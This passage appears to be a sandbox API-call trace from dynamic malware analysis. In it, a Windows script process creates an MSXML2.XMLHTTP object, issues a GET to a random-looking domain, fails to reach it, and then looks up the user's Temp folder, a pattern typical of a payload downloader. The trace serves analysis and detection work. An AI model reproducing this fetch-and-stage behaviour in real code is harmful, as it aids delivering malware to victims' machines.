	[0055.700] IDispatch:Invoke (in: This=0x95b98943a0, dispIdMember=16, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x95b977d150*(rgvarg=([0]=0x95b9b9aad0*(varType=0x3, wReserved1=0xed2b, wReserved2=0x7ffb, wReserved3=0x0, varVal1=0x950001d4c0, varVal2=0x7ffbed2b5a10), [1]=0x95b9b9aae8*(varType=0x3, wReserved1=0xed2b, wReserved2=0x7ffb, wReserved3=0x0, varVal1=0x9500007530, varVal2=0x7ffbed2b5a10), [2]=0x95b9b9ab00*(varType=0x3, wReserved1=0xed2b, wReserved2=0x7ffb, wReserved3=0x0, varVal1=0x950000ea60, varVal2=0x7ffbed2b5a10), [3]=0x95b9b9ab18*(varType=0x3, wReserved1=0xed2b, wReserved2=0x7ffb, wReserved3=0x0, varVal1=0x9500007530, varVal2=0x7ffbed2b5a10)), rgdispidNamedArgs=0x0, cArgs=0x4, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x95b977d170, puArgErr=0x95b977d0f0 | out: pDispParams=0x95b977d150*(rgvarg=([0]=0x95b9b9aad0*(varType=0x3, wReserved1=0xed2b, wReserved2=0x7ffb, wReserved3=0x0, varVal1=0x950001d4c0, varVal2=0x7ffbed2b5a10), [1]=0x95b9b9aae8*(varType=0x3, wReserved1=0xed2b, wReserved2=0x7ffb, wReserved3=0x0, varVal1=0x9500007530, varVal2=0x7ffbed2b5a10), [2]=0x95b9b9ab00*(varType=0x3, wReserved1=0xed2b, wReserved2=0x7ffb, wReserved3=0x0, varVal1=0x950000ea60, varVal2=0x7ffbed2b5a10), [3]=0x95b9b9ab18*(varType=0x3, wReserved1=0xed2b, wReserved2=0x7ffb, wReserved3=0x0, varVal1=0x9500007530, varVal2=0x7ffbed2b5a10)), rgdispidNamedArgs=0x0, cArgs=0x4, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x95b977d170*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95b977d0f0*=0x0) returned 0x0
	[0055.701] IUnknown:Release (This=0x95b98943a0) returned 0x1
	[0055.703] CLSIDFromProgIDEx (in: lpszProgID="MSXML2.XMLHTTP", lpclsid=0x95b977b530 | out: lpclsid=0x95b977b530*(Data1=0xf6d90f16, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4))) returned 0x0
	[0055.704] SysStringLen (param_1=0x0) returned 0x0
	[0055.704] CoGetClassObject (in: rclsid=0x95b977b530*(Data1=0xf6d90f16, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffbed33a788*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95b977b4f0 | out: ppv=0x95b977b4f0*=0x7ffbebd593b0) returned 0x0
	[0056.015] XMLHTTP:IUnknown:QueryInterface (in: This=0x7ffbebd593b0, riid=0x7ffbed33a798*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x95b977b4f8 | out: ppvObject=0x95b977b4f8*=0x0) returned 0x80004002
	[0056.015] XMLHTTP:IClassFactory:CreateInstance (in: This=0x7ffbebd593b0, pUnkOuter=0x0, riid=0x7ffbed33a8a8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977b4e8 | out: ppvObject=0x95b977b4e8*=0x95bbfe57f0) returned 0x0
	[0056.018] XMLHTTP:IUnknown:Release (This=0x7ffbebd593b0) returned 0x1
	[0056.018] IUnknown:QueryInterface (in: This=0x95bbfe57f0, riid=0x7ffbed33a768*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x95b977b4b0 | out: ppvObject=0x95b977b4b0*=0x95bbfe5830) returned 0x0
	[0056.021] IObjectWithSite:SetSite (This=0x95bbfe5830, pUnkSite=0x95bba47e10) returned 0x0
	[0056.021] IUnknown:AddRef (This=0x95bba47e10) returned 0x2
	[0056.021] IUnknown:AddRef (This=0x95bba47e10) returned 0x3
	[0056.021] IUnknown:QueryInterface (in: This=0x95bba47e10, riid=0x7ffc01a5eef8*(Data1=0x39, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977b198 | out: ppvObject=0x95b977b198*=0x0) returned 0x80004002
	[0056.021] IUnknown:QueryInterface (in: This=0x95bba47e10, riid=0x7ffc01a5eea8*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977b180 | out: ppvObject=0x95b977b180*=0x0) returned 0x80004002
	[0056.021] IUnknown:QueryInterface (in: This=0x95bba47e10, riid=0x7ffc01a5e4e0*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x95b977b1a0 | out: ppvObject=0x95b977b1a0*=0x0) returned 0x80004002
	[0056.021] IUnknown:QueryInterface (in: This=0x95bba47e10, riid=0x7ffc01a5e4f0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977b190 | out: ppvObject=0x95b977b190*=0x0) returned 0x80004002
	[0056.022] IUnknown:Release (This=0x95bba47e10) returned 0x2
	[0056.022] IUnknown:AddRef (This=0x95bba47e10) returned 0x3
	[0056.022] IUnknown:Release (This=0x95bba47e10) returned 0x2
	[0056.022] IUnknown:QueryInterface (in: This=0x95bba47e10, riid=0x7ffbebd4e0d0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977b400 | out: ppvObject=0x95b977b400*=0x95bba47e10) returned 0x0
	[0056.023] IUnknown:QueryInterface (in: This=0x95bba47e10, riid=0x7ffbebd4e0c0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x95b977a208 | out: ppvObject=0x95b977a208*=0x95bba47e10) returned 0x0
	[0056.023] IServiceProvider:QueryService (in: This=0x95bba47e10, guidService=0x7ffbebd4e0f0*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x7ffbebd4ece8*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977a230 | out: ppvObject=0x95b977a230*=0x0) returned 0x80004002
	[0056.023] IServiceProvider:QueryService (in: This=0x95bba47e10, guidService=0x7ffbebd4e0b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x7ffbebd4e0b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x95b977a250 | out: ppvObject=0x95b977a250*=0x0) returned 0x80004002
	[0056.023] IServiceProvider:QueryService (in: This=0x95bba47e10, guidService=0x7ffbebd4e0e0*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x7ffbebd4e090*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x95b977a210 | out: ppvObject=0x95b977a210*=0x0) returned 0x80004002
	[0056.023] IServiceProvider:QueryService (in: This=0x95bba47e10, guidService=0x7ffbebd4e080*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x7ffbebd4e090*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x95b977a210 | out: ppvObject=0x95b977a210*=0x0) returned 0x80004002
	[0056.023] IUnknown:Release (This=0x95bba47e10) returned 0x3
	[0056.023] IUnknown:QueryInterface (in: This=0x95bba47e10, riid=0x7ffbebd4e0a0*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x95b977a2f8 | out: ppvObject=0x95b977a2f8*=0x0) returned 0x80004002
	[0056.023] IUnknown:QueryInterface (in: This=0x95bba47e10, riid=0x7ffbebd4e100*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977a308 | out: ppvObject=0x95b977a308*=0x0) returned 0x80004002
	[0056.023] IUnknown:QueryInterface (in: This=0x95bba47e10, riid=0x7ffbebd4e0c0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x95b977a2f0 | out: ppvObject=0x95b977a2f0*=0x95bba47e10) returned 0x0
	[0056.023] IServiceProvider:QueryService (in: This=0x95bba47e10, guidService=0x7ffbebd4e0f0*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x7ffbebd4ece8*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977a320 | out: ppvObject=0x95b977a320*=0x0) returned 0x80004002
	[0056.023] IServiceProvider:QueryService (in: This=0x95bba47e10, guidService=0x7ffbebd4e080*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x7ffbebd4e0a0*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x95b977a2f8 | out: ppvObject=0x95b977a2f8*=0x0) returned 0x80004002
	[0056.023] IServiceProvider:QueryService (in: This=0x95bba47e10, guidService=0x7ffbebd4e0e0*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x7ffbebd4e090*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x95b977a300 | out: ppvObject=0x95b977a300*=0x0) returned 0x80004002
	[0056.023] IServiceProvider:QueryService (in: This=0x95bba47e10, guidService=0x7ffbebd4e080*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x7ffbebd4e090*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x95b977a300 | out: ppvObject=0x95b977a300*=0x0) returned 0x80004002
	[0056.023] IUnknown:Release (This=0x95bba47e10) returned 0x3
	[0056.023] IUnknown:Release (This=0x95bba47e10) returned 0x2
	[0056.023] IUnknown:QueryInterface (in: This=0x95bba47e10, riid=0x7ffbebd4e0c0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x95b977b418 | out: ppvObject=0x95b977b418*=0x95bba47e10) returned 0x0
	[0056.023] IServiceProvider:QueryService (in: This=0x95bba47e10, guidService=0x7ffbebd4e080*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x7ffbebd4e080*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x95b977b410 | out: ppvObject=0x95b977b410*=0x0) returned 0x80004002
	[0056.023] IUnknown:Release (This=0x95bba47e10) returned 0x2
	[0056.023] IUnknown:Release (This=0x95bbfe5830) returned 0x1
	[0056.023] IUnknown:QueryInterface (in: This=0x95bbfe57f0, riid=0x7ffbed33a8d8*(Data1=0x9bcb0016, Data2=0xbc2a, Data3=0x47b7, Data4=([0]=0x81, [1]=0x54, [2]=0x85, [3]=0x80, [4]=0xa1, [5]=0x5c, [6]=0x3f, [7]=0xf0)), ppvObject=0x95b977b460 | out: ppvObject=0x95b977b460*=0x0) returned 0x80004002
	[0056.024] IUnknown:QueryInterface (in: This=0x95bbfe57f0, riid=0x7ffbed33a8e8*(Data1=0x719c3050, Data2=0xf9d3, Data3=0x11cf, Data4=([0]=0xa4, [1]=0x93, [2]=0x0, [3]=0x40, [4]=0x5, [5]=0x23, [6]=0xa8, [7]=0xa0)), ppvObject=0x95b977b470 | out: ppvObject=0x95b977b470*=0x0) returned 0x80004002
	[0056.024] IUnknown:QueryInterface (in: This=0x95bbfe57f0, riid=0x7ffbed33a8f8*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95b977b478 | out: ppvObject=0x95b977b478*=0x0) returned 0x80004002
	[0056.024] IUnknown:QueryInterface (in: This=0x95bbfe57f0, riid=0x7ffbed337858*(Data1=0xa0aac450, Data2=0xa77b, Data3=0x11cf, Data4=([0]=0x91, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xc1, [6]=0x4a, [7]=0x7c)), ppvObject=0x95b977b400 | out: ppvObject=0x95b977b400*=0x0) returned 0x80004002
	[0056.024] IUnknown:QueryInterface (in: This=0x95bbfe57f0, riid=0x7ffbed33a8b8*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977b408 | out: ppvObject=0x95b977b408*=0x95bbfe57b0) returned 0x0
	[0056.024] IUnknown:Release (This=0x95bbfe57f0) returned 0x1
	[0056.024] IDispatch:GetIDsOfNames (in: This=0x95bbfe57b0, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95b977d0f8*="open", cNames=0x1, lcid=0x7ffb00000409, rgDispId=0x95b977d108 | out: rgDispId=0x95b977d108*=1) returned 0x0
	[0056.026] IUnknown:AddRef (This=0x95bbfe57b0) returned 0x2
	[0056.026] IDispatch:Invoke (in: This=0x95bbfe57b0, dispIdMember=1, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x95b977d150*(rgvarg=([0]=0x95b977d1c0*(varType=0xb, wReserved1=0xb977, wReserved2=0x95, wReserved3=0x0, varVal1=0x9500000000, varVal2=0x0), [1]=0x95b977d1d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="http://lxgcnmokgusvqx.com/", varVal2=0x0), [2]=0x95b977d1f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="GET", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x95b977d170, puArgErr=0x95b977d0f0 | out: pDispParams=0x95b977d150*(rgvarg=([0]=0x95b977d1c0*(varType=0xb, wReserved1=0xb977, wReserved2=0x95, wReserved3=0x0, varVal1=0x9500000000, varVal2=0x0), [1]=0x95b977d1d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="http://lxgcnmokgusvqx.com/", varVal2=0x0), [2]=0x95b977d1f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="GET", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x95b977d170*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95b977d0f0*=0x0) returned 0x0
	[0056.944] IUnknown:Release (This=0x95bbfe57b0) returned 0x1
	[0056.944] CoGetObjectContext (in: riid=0x7ffbed33a8a8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95b977b770 | out: ppv=0x95b977b770*=0x95b982e928) returned 0x0
	[0056.947] MulDiv (nNumber=174, nNumerator=100, nDenominator=531) returned 33
	[0056.947] IUnknown:Release (This=0x95b982e928) returned 0x1
	[0056.947] GetTickCount () returned 0x20d25
	[0056.947] IDispatch:GetIDsOfNames (in: This=0x95bbfe57b0, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95b977d0f8*="send", cNames=0x1, lcid=0x7ffb00000409, rgDispId=0x95b977d108 | out: rgDispId=0x95b977d108*=5) returned 0x0
	[0056.947] IUnknown:AddRef (This=0x95bbfe57b0) returned 0x2
	[0056.947] IDispatch:Invoke (in: This=0x95bbfe57b0, dispIdMember=5, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x95b977d150*(rgvarg=0x95b9b9aad0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x95b977d170, puArgErr=0x95b977d0f0 | out: pDispParams=0x95b977d150*(rgvarg=0x95b9b9aad0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x95b977d170*(wCode=0x0, wReserved=0x0, bstrSource="msxml3.dll", bstrDescription="The system cannot locate the resource specified.\r\n", bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x800c0005), puArgErr=0x95b977d0f0*=0x0) returned 0x80020009
	[0057.097] IUnknown:AddRef (This=0x95bba47e10) returned 0x2
	[0057.097] IUnknown:QueryInterface (in: This=0x95bba47e10, riid=0x7ffbebd4e0c0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x95b977c570 | out: ppvObject=0x95b977c570*=0x95bba47e10) returned 0x0
	[0057.097] IServiceProvider:QueryService (in: This=0x95bba47e10, guidService=0x7ffbf70b9220*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7ffbf70b9220*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95b98c3598 | out: ppvObject=0x95b98c3598*=0x0) returned 0x80004002
	[0057.097] IUnknown:Release (This=0x95bba47e10) returned 0x2
	[0057.097] IUnknown:Release (This=0x95bba47e10) returned 0x1
	[0057.098] IUnknown:AddRef (This=0x95bba47e10) returned 0x2
	[0057.098] IUnknown:QueryInterface (in: This=0x95bba47e10, riid=0x7ffbebd4e0c0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x95b977c320 | out: ppvObject=0x95b977c320*=0x95bba47e10) returned 0x0
	[0057.098] IServiceProvider:QueryService (in: This=0x95bba47e10, guidService=0x7ffbf70ba208*(Data1=0xaf0ff408, Data2=0x129d, Data3=0x4b20, Data4=([0]=0x91, [1]=0xf0, [2]=0x2, [3]=0xbd, [4]=0x23, [5]=0xd8, [6]=0x83, [7]=0x52)), riid=0x7ffbf70ba208*(Data1=0xaf0ff408, Data2=0x129d, Data3=0x4b20, Data4=([0]=0x91, [1]=0xf0, [2]=0x2, [3]=0xbd, [4]=0x23, [5]=0xd8, [6]=0x83, [7]=0x52)), ppvObject=0x95b977c510 | out: ppvObject=0x95b977c510*=0x0) returned 0x80004002
	[0057.098] IUnknown:Release (This=0x95bba47e10) returned 0x2
	[0057.098] IUnknown:Release (This=0x95bba47e10) returned 0x1
	[0058.104] IUnknown:AddRef (This=0x95bba47e10) returned 0x2
	[0058.104] IUnknown:QueryInterface (in: This=0x95bba47e10, riid=0x7ffbebd4e0c0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x95b977b0c0 | out: ppvObject=0x95b977b0c0*=0x95bba47e10) returned 0x0
	[0058.104] IServiceProvider:QueryService (in: This=0x95bba47e10, guidService=0x7ffbf70b8bd8*(Data1=0x79eac9c1, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7ffbf70bb330*(Data1=0x79eac9c1, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95b977b220 | out: ppvObject=0x95b977b220*=0x0) returned 0x80004002
	[0058.104] IUnknown:Release (This=0x95bba47e10) returned 0x2
	[0058.104] IUnknown:Release (This=0x95bba47e10) returned 0x1
	[0058.104] IUnknown:AddRef (This=0x95bba47e10) returned 0x2
	[0058.104] IUnknown:QueryInterface (in: This=0x95bba47e10, riid=0x7ffbebd4e0c0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x95b977ab50 | out: ppvObject=0x95b977ab50*=0x95bba47e10) returned 0x0
	[0058.105] IServiceProvider:QueryService (in: This=0x95bba47e10, guidService=0x7ffbf70ba148*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), riid=0x7ffbf70ba148*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), ppvObject=0x95b977ad50 | out: ppvObject=0x95b977ad50*=0x0) returned 0x80004002
	[0058.105] IUnknown:Release (This=0x95bba47e10) returned 0x2
	[0058.105] IUnknown:Release (This=0x95bba47e10) returned 0x1
	[0058.105] IUnknown:AddRef (This=0x95bba47e10) returned 0x2
	[0058.105] IUnknown:QueryInterface (in: This=0x95bba47e10, riid=0x7ffbebd4e0c0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x95b977ab50 | out: ppvObject=0x95b977ab50*=0x95bba47e10) returned 0x0
	[0058.105] IServiceProvider:QueryService (in: This=0x95bba47e10, guidService=0x7ffbf70ba138*(Data1=0x79eac9d5, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7ffbf70ba138*(Data1=0x79eac9d5, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95b977ada0 | out: ppvObject=0x95b977ada0*=0x0) returned 0x80004002
	[0058.105] IUnknown:Release (This=0x95bba47e10) returned 0x2
	[0058.105] IUnknown:Release (This=0x95bba47e10) returned 0x1
	[0058.440] IUnknown:Release (This=0x95bbfe57b0) returned 0x1
	[0058.440] bsearch (_Key=0x95b977d348, _Base=0x7ffbed3557f0, _NumOfElements=0x5e, _SizeOfElements=0x8, _PtFuncCompare=0x7ffbed2daf00) returned 0x7ffbed3557f8
	[0058.441] SysStringLen (param_1="msxml3.dll") returned 0xa
	[0058.441] SysStringLen (param_1="The system cannot locate the resource specified.\r\n") returned 0x32
	[0058.441] IUnknown:AddRef (This=0x95bba49e78) returned 0x2
	[0058.441] IDispatch:Invoke (in: This=0x95bba49e78, dispIdMember=0, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95b977d2b8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95b9b9ab18, pExcepInfo=0x95b977d2d0, puArgErr=0x95b977d2a8 | out: pDispParams=0x95b977d2b8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95b9b9ab18*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp", varVal2=0x0), pExcepInfo=0x95b977d2d0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, 